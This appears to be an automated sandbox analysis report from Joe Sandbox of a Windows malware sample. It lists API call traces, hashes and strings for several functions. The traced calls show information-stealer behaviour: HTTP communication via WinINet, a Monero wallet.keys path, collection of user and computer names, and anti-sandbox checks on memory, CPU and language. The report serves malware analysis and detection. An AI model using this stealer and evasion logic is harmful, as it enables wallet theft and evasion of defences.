Associated: 00000000.00000002.1844433132.00000000007B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844839394.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844940075.0000000000BF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844954135.0000000000BF9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4e0000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: HttpQueryInfoA$InternetSetOptionA
API String ID: 2238633743-1775429166
Opcode ID: aa0b7220340a3da2c2379b8d8ee91f217347e71a6e0b70759606eda604194bd2
Instruction ID: 9dbe51c0d546eba3ecea04c3eda08db690e8fee53f672857de341963c38ddab3
Opcode Fuzzy Hash: aa0b7220340a3da2c2379b8d8ee91f217347e71a6e0b70759606eda604194bd2
Instruction Fuzzy Hash: 8C62EDB56181089FC748DFA8ED88F667BB9B7CD601710C71AFA09D32B0D63DA541CB68

Function 004E48D0 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004FAAB0: lstrcpy.KERNEL32(?,00000000), ref: 004FAAF6

Part of subcall function 004E4800: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 004E4889
Part of subcall function 004E4800: InternetCrackUrlA.WININET(00000000,00000000), ref: 004E4899

Part of subcall function 004FAA50: lstrcpy.KERNEL32(00500E1A,00000000), ref: 004FAA98

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 004E4965
StrCmpCA.SHLWAPI(?,0145E888), ref: 004E498A
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 004E4B0A
lstrlen.KERNEL32(00000000,00000000,?,?,?,?,00500DDE,00000000,?,?,00000000,?,",00000000,?,0145E918), ref: 004E4E38
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 004E4E54
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 004E4E68
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 004E4E99
InternetCloseHandle.WININET(00000000), ref: 004E4EFD
InternetCloseHandle.WININET(00000000), ref: 004E4F15
HttpOpenRequestA.WININET(00000000,0145E908,?,0145E208,00000000,00000000,00400100,00000000), ref: 004E4B65

Part of subcall function 004FACC0: lstrlen.KERNEL32(?,01458FB0,?,\Monero\wallet.keys,00500E1A), ref: 004FACD5
Part of subcall function 004FACC0: lstrcpy.KERNEL32(00000000), ref: 004FAD14
Part of subcall function 004FACC0: lstrcat.KERNEL32(00000000,00000000), ref: 004FAD22

Part of subcall function 004FABB0: lstrcpy.KERNEL32(?,00500E1A), ref: 004FAC15

Part of subcall function 004FAC30: lstrcpy.KERNEL32(00000000,?), ref: 004FAC82
Part of subcall function 004FAC30: lstrcat.KERNEL32(00000000), ref: 004FAC92

InternetCloseHandle.WININET(00000000), ref: 004E4F1F

Strings

", xrefs: 004E4C42
------, xrefs: 004E4B78
------, xrefs: 004E4CB9
", xrefs: 004E4D83
------, xrefs: 004E4A0D

Memory Dump Source

Source File: 00000000.00000002.1844433132.00000000004E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004E0000, based on PE: true

Associated: 00000000.00000002.1844416103.00000000004E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000050C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.0000000000629000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000064E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.00000000007B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844839394.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844940075.0000000000BF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844954135.0000000000BF9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4e0000_file.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$lstrlen$CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileReadSend
String ID: "$"$------$------$------
API String ID: 460715078-2180234286
Opcode ID: d8739a689c47bfac3079790f351947aae6803c88caa32ef3332a0c6c988d5dbe
Instruction ID: fd3616689f2e976625299860f9974def74d1589aa1157c7313664cb0e269c62e
Opcode Fuzzy Hash: d8739a689c47bfac3079790f351947aae6803c88caa32ef3332a0c6c988d5dbe
Instruction Fuzzy Hash: 8C12EEB291011C9ACB14EB91DD66FFEB739BF54304F10419EB20A62091DF787B58CB6A

Function 004F5760 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004FAB30: lstrlen.KERNEL32(004E4F55,?,?,004E4F55,00500DDF), ref: 004FAB3B
Part of subcall function 004FAB30: lstrcpy.KERNEL32(00500DDF,00000000), ref: 004FAB95

Part of subcall function 004FAA50: lstrcpy.KERNEL32(00500E1A,00000000), ref: 004FAA98

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 004F5894
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 004F58F1
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 004F5AA7

Part of subcall function 004FAAB0: lstrcpy.KERNEL32(?,00000000), ref: 004FAAF6

Part of subcall function 004F5440: StrCmpCA.SHLWAPI(00000000,ERROR), ref: 004F5478

Part of subcall function 004FABB0: lstrcpy.KERNEL32(?,00500E1A), ref: 004FAC15

Part of subcall function 004F5510: StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 004F5568
Part of subcall function 004F5510: lstrlen.KERNEL32(00000000), ref: 004F557F
Part of subcall function 004F5510: StrStrA.SHLWAPI(00000000,00000000), ref: 004F55B4
Part of subcall function 004F5510: lstrlen.KERNEL32(00000000), ref: 004F55D3
Part of subcall function 004F5510: lstrlen.KERNEL32(00000000), ref: 004F55FE

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 004F59DB
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 004F5B90
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 004F5C5C
Sleep.KERNEL32(0000EA60), ref: 004F5C6B

Strings

ERROR, xrefs: 004F5B82
ERROR, xrefs: 004F5886
ERROR, xrefs: 004F58E3
ERROR, xrefs: 004F59CD
ERROR, xrefs: 004F5A99
ERROR, xrefs: 004F5C4E

Memory Dump Source

Source File: 00000000.00000002.1844433132.00000000004E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004E0000, based on PE: true

Associated: 00000000.00000002.1844416103.00000000004E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000050C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.0000000000629000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000064E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.00000000007B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844839394.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844940075.0000000000BF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844954135.0000000000BF9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen$Sleep
String ID: ERROR$ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 507064821-2791005934
Opcode ID: 527c3931fc5216330ccf16e8c6baab911b66ab2067c71e40c9113e95059eb85b
Instruction ID: 002bd75e6ebe7adb21996d1a36b31eb6b65ccc10501656eb28a23febf25fc14d
Opcode Fuzzy Hash: 527c3931fc5216330ccf16e8c6baab911b66ab2067c71e40c9113e95059eb85b
Instruction Fuzzy Hash: 78E140B19101089BCB14FBA1DCA6EFD7739AF54304F40855EB70A56095EF3C6A1CCB5A

Function 004F19F0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrCmpCA.SHLWAPI(00000000,block), ref: 004F1A15
ExitProcess.KERNEL32 ref: 004F1A21

Strings

block, xrefs: 004F1A07

Memory Dump Source

Source File: 00000000.00000002.1844433132.00000000004E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004E0000, based on PE: true

Associated: 00000000.00000002.1844416103.00000000004E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000050C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.0000000000629000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000064E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.00000000007B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844839394.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844940075.0000000000BF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844954135.0000000000BF9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4e0000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID: block
API String ID: 621844428-2199623458
Opcode ID: be48dbc725b2196a6f2b12591ed6e9657e1afc6dd8b9150520c9530468d22931
Instruction ID: 9f330bdcaee2a837e246a227dff2deeb200a95e3d7c337fe34e347d808e08556
Opcode Fuzzy Hash: be48dbc725b2196a6f2b12591ed6e9657e1afc6dd8b9150520c9530468d22931
Instruction Fuzzy Hash: DF514F75A0420DEBCB04DF94D984FBE77B9FF44304F10404AE606AB2A0E778E951DB6A

Function 004F6C90 Relevance: 9.1, APIs: 6, Instructions: 89
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004F9BB0: GetProcAddress.KERNEL32(74DD0000,01452440), ref: 004F9BF1
Part of subcall function 004F9BB0: GetProcAddress.KERNEL32(74DD0000,014521D0), ref: 004F9C0A
Part of subcall function 004F9BB0: GetProcAddress.KERNEL32(74DD0000,01452218), ref: 004F9C22
Part of subcall function 004F9BB0: GetProcAddress.KERNEL32(74DD0000,014521A0), ref: 004F9C3A
Part of subcall function 004F9BB0: GetProcAddress.KERNEL32(74DD0000,014522C0), ref: 004F9C53
Part of subcall function 004F9BB0: GetProcAddress.KERNEL32(74DD0000,014590A0), ref: 004F9C6B
Part of subcall function 004F9BB0: GetProcAddress.KERNEL32(74DD0000,014456F0), ref: 004F9C83
Part of subcall function 004F9BB0: GetProcAddress.KERNEL32(74DD0000,01445630), ref: 004F9C9C
Part of subcall function 004F9BB0: GetProcAddress.KERNEL32(74DD0000,014521B8), ref: 004F9CB4
Part of subcall function 004F9BB0: GetProcAddress.KERNEL32(74DD0000,014522F0), ref: 004F9CCC
Part of subcall function 004F9BB0: GetProcAddress.KERNEL32(74DD0000,014521E8), ref: 004F9CE5
Part of subcall function 004F9BB0: GetProcAddress.KERNEL32(74DD0000,01452230), ref: 004F9CFD
Part of subcall function 004F9BB0: GetProcAddress.KERNEL32(74DD0000,01445850), ref: 004F9D15
Part of subcall function 004F9BB0: GetProcAddress.KERNEL32(74DD0000,014522A8), ref: 004F9D2E

Part of subcall function 004FAA50: lstrcpy.KERNEL32(00500E1A,00000000), ref: 004FAA98

Part of subcall function 004E11D0: ExitProcess.KERNEL32 ref: 004E1211

Part of subcall function 004E1160: GetSystemInfo.KERNEL32(?), ref: 004E116A
Part of subcall function 004E1160: ExitProcess.KERNEL32 ref: 004E117E

Part of subcall function 004E1110: GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 004E112B
Part of subcall function 004E1110: VirtualAllocExNuma.KERNEL32(00000000), ref: 004E1132
Part of subcall function 004E1110: ExitProcess.KERNEL32 ref: 004E1143

Part of subcall function 004E1220: GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 004E123E
Part of subcall function 004E1220: __aulldiv.LIBCMT ref: 004E1258
Part of subcall function 004E1220: __aulldiv.LIBCMT ref: 004E1266
Part of subcall function 004E1220: ExitProcess.KERNEL32 ref: 004E1294

Part of subcall function 004F6A10: GetUserDefaultLangID.KERNEL32 ref: 004F6A14

Part of subcall function 004E1190: ExitProcess.KERNEL32 ref: 004E11C6

Part of subcall function 004F79E0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004E11B7), ref: 004F7A10
Part of subcall function 004F79E0: RtlAllocateHeap.NTDLL(00000000), ref: 004F7A17
Part of subcall function 004F79E0: GetUserNameA.ADVAPI32(00000104,00000104), ref: 004F7A2F

Part of subcall function 004F7A70: GetProcessHeap.KERNEL32(00000000,00000104), ref: 004F7AA0
Part of subcall function 004F7A70: RtlAllocateHeap.NTDLL(00000000), ref: 004F7AA7
Part of subcall function 004F7A70: GetComputerNameA.KERNEL32(?,00000104), ref: 004F7ABF

Part of subcall function 004FACC0: lstrlen.KERNEL32(?,01458FB0,?,\Monero\wallet.keys,00500E1A), ref: 004FACD5
Part of subcall function 004FACC0: lstrcpy.KERNEL32(00000000), ref: 004FAD14
Part of subcall function 004FACC0: lstrcat.KERNEL32(00000000,00000000), ref: 004FAD22

Part of subcall function 004FABB0: lstrcpy.KERNEL32(?,00500E1A), ref: 004FAC15

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,01459130,?,005010F4,?,00000000,?,005010F8,?,00000000,00500AF3), ref: 004F6D6A
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 004F6D88
CloseHandle.KERNEL32(00000000), ref: 004F6D99
Sleep.KERNEL32(00001770), ref: 004F6DA4
CloseHandle.KERNEL32(?,00000000,?,01459130,?,005010F4,?,00000000,?,005010F8,?,00000000,00500AF3), ref: 004F6DBA
ExitProcess.KERNEL32 ref: 004F6DC2

Memory Dump Source

Source File: 00000000.00000002.1844433132.00000000004E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004E0000, based on PE: true

Associated: 00000000.00000002.1844416103.00000000004E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000050C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.0000000000629000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000064E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.00000000007B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844839394.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844940075.0000000000BF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844954135.0000000000BF9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4e0000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$Process$Exit$Heap$lstrcpy$AllocateCloseEventHandleNameUser__aulldiv$AllocComputerCreateCurrentDefaultGlobalInfoLangMemoryNumaOpenSleepStatusSystemVirtuallstrcatlstrlen
String ID:
API String ID: 2525456742-0
Opcode ID: cf548abfbf47af6e0080beb81f26d5318190af3567bc217d24e71be74eeb4cf5
Instruction ID: 50fa25dff04b7278d9edade752e36f0def95a97dbe6e324aa27de2d4ac1877b7
Opcode Fuzzy Hash: cf548abfbf47af6e0080beb81f26d5318190af3567bc217d24e71be74eeb4cf5
Instruction Fuzzy Hash: 0F3129B0A4410CABCB04FBA2DC56BFE7739AF44305F00491EF31666192DF786A05C66A

Function 004E1220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 004E123E
__aulldiv.LIBCMT ref: 004E1258
__aulldiv.LIBCMT ref: 004E1266
ExitProcess.KERNEL32 ref: 004E1294

Strings

@, xrefs: 004E1233

Memory Dump Source

Source File: 00000000.00000002.1844433132.00000000004E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004E0000, based on PE: true

Associated: 00000000.00000002.1844416103.00000000004E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000050C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.0000000000629000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000064E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.00000000007B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844839394.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844940075.0000000000BF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844954135.0000000000BF9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4e0000_file.jbxd

Yara matches

Similarity

API ID: __aulldiv$ExitGlobalMemoryProcessStatus
String ID: @
API String ID: 3404098578-2766056989
Opcode ID: ba36cf47b9ceba44e64d82a6350c98d8d7e5dacb9cfcbdaf8459463678c2d800
Instruction ID: 6b8c5bf020d3ea78423040284136f2eb0d912fdf12cbc937951b4211d42fd413
Opcode Fuzzy Hash: ba36cf47b9ceba44e64d82a6350c98d8d7e5dacb9cfcbdaf8459463678c2d800
Instruction Fuzzy Hash: 54016DB0D80348BAEF10DFE5DC4ABAEBB78AB54706F20848AF704BA2D0C67C5541875D

Function 004F6D93 Relevance: 6.0, APIs: 4, Instructions: 30
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,01459130,?,005010F4,?,00000000,?,005010F8,?,00000000,00500AF3), ref: 004F6D6A
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 004F6D88
CloseHandle.KERNEL32(00000000), ref: 004F6D99
Sleep.KERNEL32(00001770), ref: 004F6DA4
CloseHandle.KERNEL32(?,00000000,?,01459130,?,005010F4,?,00000000,?,005010F8,?,00000000,00500AF3), ref: 004F6DBA
ExitProcess.KERNEL32 ref: 004F6DC2

Memory Dump Source

Source File: 00000000.00000002.1844433132.00000000004E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004E0000, based on PE: true

Associated: 00000000.00000002.1844416103.00000000004E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000050C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.0000000000629000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000064E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.00000000007B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844839394.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844940075.0000000000BF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844954135.0000000000BF9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4e0000_file.jbxd

Yara matches

Similarity

API ID: CloseEventHandle$CreateExitOpenProcessSleep
String ID:
API String ID: 941982115-0
Opcode ID: f53bcbbd507aa0a0d3b6496aa7458fbdc98678c970358bbb8f03fd94049afec2
Instruction ID: 3bbee9ce3e1700dbad8b6a19398fb3a65319fd9c4bf88c9e67c65d49d6998b10
Opcode Fuzzy Hash: f53bcbbd507aa0a0d3b6496aa7458fbdc98678c970358bbb8f03fd94049afec2
Instruction Fuzzy Hash: CBF05E70A4820DABEB04ABA0DC4ABBE3774AF84745F11861AB712A5191CBB85501CA6E

Function 004E4800 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63
stringnetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 004E4889
InternetCrackUrlA.WININET(00000000,00000000), ref: 004E4899

Strings

<, xrefs: 004E4819

Memory Dump Source

Source File: 00000000.00000002.1844433132.00000000004E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004E0000, based on PE: true

Associated: 00000000.00000002.1844416103.00000000004E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000050C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.0000000000629000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000064E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.00000000007B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844839394.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844940075.0000000000BF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844954135.0000000000BF9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4e0000_file.jbxd

Yara matches

Similarity

API ID: CrackInternetlstrlen
String ID: <
API String ID: 1274457161-4251816714
Opcode ID: 3a703bb3e4b245ae276f54db15642b8340fb5db05ba3f30aabbb3ed0beab0a77
Instruction ID: 444dcad7e38988f3c01be72451d0a302bfd6f0482484ea3dfbe101704eb56690
Opcode Fuzzy Hash: 3a703bb3e4b245ae276f54db15642b8340fb5db05ba3f30aabbb3ed0beab0a77
Instruction Fuzzy Hash: 0C2150B1D0020CABDF14DFA5E845BDD7775FB44310F108629F619A72C0DB746A05CB91

Function 004F5440 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004FAAB0: lstrcpy.KERNEL32(?,00000000), ref: 004FAAF6

Part of subcall function 004E62D0: InternetOpenA.WININET(00500DFF,00000001,00000000,00000000,00000000), ref: 004E6331
Part of subcall function 004E62D0: StrCmpCA.SHLWAPI(?,0145E888), ref: 004E6353
Part of subcall function 004E62D0: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 004E6385
Part of subcall function 004E62D0: HttpOpenRequestA.WININET(00000000,GET,?,0145E208,00000000,00000000,00400100,00000000), ref: 004E63D5
Part of subcall function 004E62D0: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 004E640F
Part of subcall function 004E62D0: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 004E6421

StrCmpCA.SHLWAPI(00000000,ERROR), ref: 004F5478

Strings

ERROR, xrefs: 004F546A
ERROR, xrefs: 004F54C3

Memory Dump Source

Source File: 00000000.00000002.1844433132.00000000004E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004E0000, based on PE: true

Associated: 00000000.00000002.1844416103.00000000004E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000050C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.0000000000629000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000064E000.00000040.00000001.01000000.00000003.sdmpDownload File
